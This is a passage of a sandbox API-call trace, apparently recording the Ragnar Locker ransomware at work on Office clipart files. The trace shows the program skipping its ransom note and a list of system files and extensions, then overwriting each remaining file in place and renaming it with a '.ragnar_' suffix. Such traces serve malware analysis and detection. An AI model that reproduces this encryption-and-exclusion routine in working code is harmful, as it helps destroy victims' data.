(lpString1="BD06102_.WMF", lpString2="desktop.ini") returned -1 [0080.158] lstrcmpiW (lpString1="BD06102_.WMF", lpString2="iconcache.db") returned -1 [0080.158] lstrcmpiW (lpString1="BD06102_.WMF", lpString2="ntldr") returned -1 [0080.158] lstrcmpiW (lpString1="BD06102_.WMF", lpString2="ntuser.dat") returned -1 [0080.158] lstrcmpiW (lpString1="BD06102_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.158] lstrcmpiW (lpString1="BD06102_.WMF", lpString2="ntuser.ini") returned -1 [0080.158] lstrcmpiW (lpString1="BD06102_.WMF", lpString2="thumbs.db") returned -1 [0080.158] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.158] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.158] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.158] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.158] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.158] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.158] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.158] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf")) returned 0x20 [0080.158] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.158] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16112) returned 1 [0080.158] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3ee7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.158] GetProcessHeap () returned 0x580000 [0080.158] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.158] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.160] VirtualAlloc (lpAddress=0x0, dwSize=0x3ef0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.160] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.160] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.160] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3ef0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3ef0, lpOverlapped=0x0) returned 1 [0080.161] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.161] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3ef0, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.161] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3ef0, lpOverlapped=0x0) returned 1 [0080.161] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3ef0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.161] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.161] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3ef0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.162] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.162] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.162] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.162] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.162] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.162] GetProcessHeap () returned 0x580000 [0080.162] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.162] CloseHandle (hObject=0xf4) returned 1 [0080.162] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" [0080.162] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.ragnar_FD7BD9FC" [0080.162] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.163] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06200_.WMF", cAlternateFileName="")) returned 1 [0080.163] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.163] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BD06200_.WMF" | out: lpString1="BD06200_.WMF") returned="BD06200_.WMF" [0080.163] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned=".WMF" [0080.163] lstrcmpiW (lpString1="BD06200_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.163] lstrcmpiW (lpString1="BD06200_.WMF", lpString2="autorun.inf") returned 1 [0080.163] lstrcmpiW (lpString1="BD06200_.WMF", lpString2="boot.ini") returned -1 [0080.163] lstrcmpiW (lpString1="BD06200_.WMF", lpString2="bootfont.bin") returned -1 [0080.163] lstrcmpiW (lpString1="BD06200_.WMF", lpString2="bootsect.bak") returned -1 [0080.163] lstrcmpiW (lpString1="BD06200_.WMF", lpString2="bootmgr") returned -1 [0080.163] lstrcmpiW (lpString1="BD06200_.WMF", lpString2="bootmgr.efi") returned -1 [0080.163] lstrcmpiW (lpString1="BD06200_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.163] lstrcmpiW (lpString1="BD06200_.WMF", lpString2="desktop.ini") returned -1 [0080.163] lstrcmpiW (lpString1="BD06200_.WMF", lpString2="iconcache.db") returned -1 [0080.163] lstrcmpiW (lpString1="BD06200_.WMF", lpString2="ntldr") returned -1 [0080.163] lstrcmpiW (lpString1="BD06200_.WMF", lpString2="ntuser.dat") returned -1 [0080.163] lstrcmpiW (lpString1="BD06200_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.163] lstrcmpiW (lpString1="BD06200_.WMF", lpString2="ntuser.ini") returned -1 [0080.163] lstrcmpiW (lpString1="BD06200_.WMF", lpString2="thumbs.db") returned -1 [0080.163] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.163] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.163] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.163] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.163] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.163] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.163] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x20 [0080.164] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.164] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16676) returned 1 [0080.165] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x411b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.165] GetProcessHeap () returned 0x580000 [0080.165] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.165] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.166] VirtualAlloc (lpAddress=0x0, dwSize=0x4124, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.166] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.166] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.166] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4124, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4124, lpOverlapped=0x0) returned 1 [0080.168] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.168] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4124, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.168] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4124, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4124, lpOverlapped=0x0) returned 1 [0080.168] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4124, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.168] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.168] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.168] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.168] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.168] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.169] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.169] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.169] GetProcessHeap () returned 0x580000 [0080.169] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.169] CloseHandle (hObject=0xf4) returned 1 [0080.169] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" [0080.169] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.ragnar_FD7BD9FC" [0080.169] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.169] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x687c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07761_.WMF", cAlternateFileName="")) returned 1 [0080.169] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.170] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BD07761_.WMF" | out: lpString1="BD07761_.WMF") returned="BD07761_.WMF" [0080.170] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned=".WMF" [0080.170] lstrcmpiW (lpString1="BD07761_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.170] lstrcmpiW (lpString1="BD07761_.WMF", lpString2="autorun.inf") returned 1 [0080.170] lstrcmpiW (lpString1="BD07761_.WMF", lpString2="boot.ini") returned -1 [0080.170] lstrcmpiW (lpString1="BD07761_.WMF", lpString2="bootfont.bin") returned -1 [0080.170] lstrcmpiW (lpString1="BD07761_.WMF", lpString2="bootsect.bak") returned -1 [0080.170] lstrcmpiW (lpString1="BD07761_.WMF", lpString2="bootmgr") returned -1 [0080.170] lstrcmpiW (lpString1="BD07761_.WMF", lpString2="bootmgr.efi") returned -1 [0080.170] lstrcmpiW (lpString1="BD07761_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.170] lstrcmpiW (lpString1="BD07761_.WMF", lpString2="desktop.ini") returned -1 [0080.170] lstrcmpiW (lpString1="BD07761_.WMF", lpString2="iconcache.db") returned -1 [0080.170] lstrcmpiW (lpString1="BD07761_.WMF", lpString2="ntldr") returned -1 [0080.170] lstrcmpiW (lpString1="BD07761_.WMF", lpString2="ntuser.dat") returned -1 [0080.170] lstrcmpiW (lpString1="BD07761_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.170] lstrcmpiW (lpString1="BD07761_.WMF", lpString2="ntuser.ini") returned -1 [0080.170] lstrcmpiW (lpString1="BD07761_.WMF", lpString2="thumbs.db") returned -1 [0080.170] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.170] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.170] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.170] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.170] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.170] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.170] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.170] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x20 [0080.170] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.171] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=26748) returned 1 [0080.171] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6873, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.171] GetProcessHeap () returned 0x580000 [0080.171] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.171] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.172] VirtualAlloc (lpAddress=0x0, dwSize=0x687c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.172] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.172] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.172] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x687c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x687c, lpOverlapped=0x0) returned 1 [0080.174] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.174] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x687c, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.174] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x687c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x687c, lpOverlapped=0x0) returned 1 [0080.174] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x687c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.174] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.175] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x687c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.175] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.175] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.175] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.175] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.175] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.175] GetProcessHeap () returned 0x580000 [0080.175] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.175] CloseHandle (hObject=0xf4) returned 1 [0080.175] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" [0080.175] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.ragnar_FD7BD9FC" [0080.175] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.176] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x133c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07804_.WMF", cAlternateFileName="")) returned 1 [0080.176] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.176] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BD07804_.WMF" | out: lpString1="BD07804_.WMF") returned="BD07804_.WMF" [0080.176] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned=".WMF" [0080.176] lstrcmpiW (lpString1="BD07804_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.176] lstrcmpiW (lpString1="BD07804_.WMF", lpString2="autorun.inf") returned 1 [0080.176] lstrcmpiW (lpString1="BD07804_.WMF", lpString2="boot.ini") returned -1 [0080.176] lstrcmpiW (lpString1="BD07804_.WMF", lpString2="bootfont.bin") returned -1 [0080.176] lstrcmpiW (lpString1="BD07804_.WMF", lpString2="bootsect.bak") returned -1 [0080.176] lstrcmpiW (lpString1="BD07804_.WMF", lpString2="bootmgr") returned -1 [0080.176] lstrcmpiW (lpString1="BD07804_.WMF", lpString2="bootmgr.efi") returned -1 [0080.176] lstrcmpiW (lpString1="BD07804_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.176] lstrcmpiW (lpString1="BD07804_.WMF", lpString2="desktop.ini") returned -1 [0080.176] lstrcmpiW (lpString1="BD07804_.WMF", lpString2="iconcache.db") returned -1 [0080.176] lstrcmpiW (lpString1="BD07804_.WMF", lpString2="ntldr") returned -1 [0080.176] lstrcmpiW (lpString1="BD07804_.WMF", lpString2="ntuser.dat") returned -1 [0080.176] lstrcmpiW (lpString1="BD07804_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.176] lstrcmpiW (lpString1="BD07804_.WMF", lpString2="ntuser.ini") returned -1 [0080.176] lstrcmpiW (lpString1="BD07804_.WMF", lpString2="thumbs.db") returned -1 [0080.176] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.176] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.176] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.176] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.176] lstrcmpiW 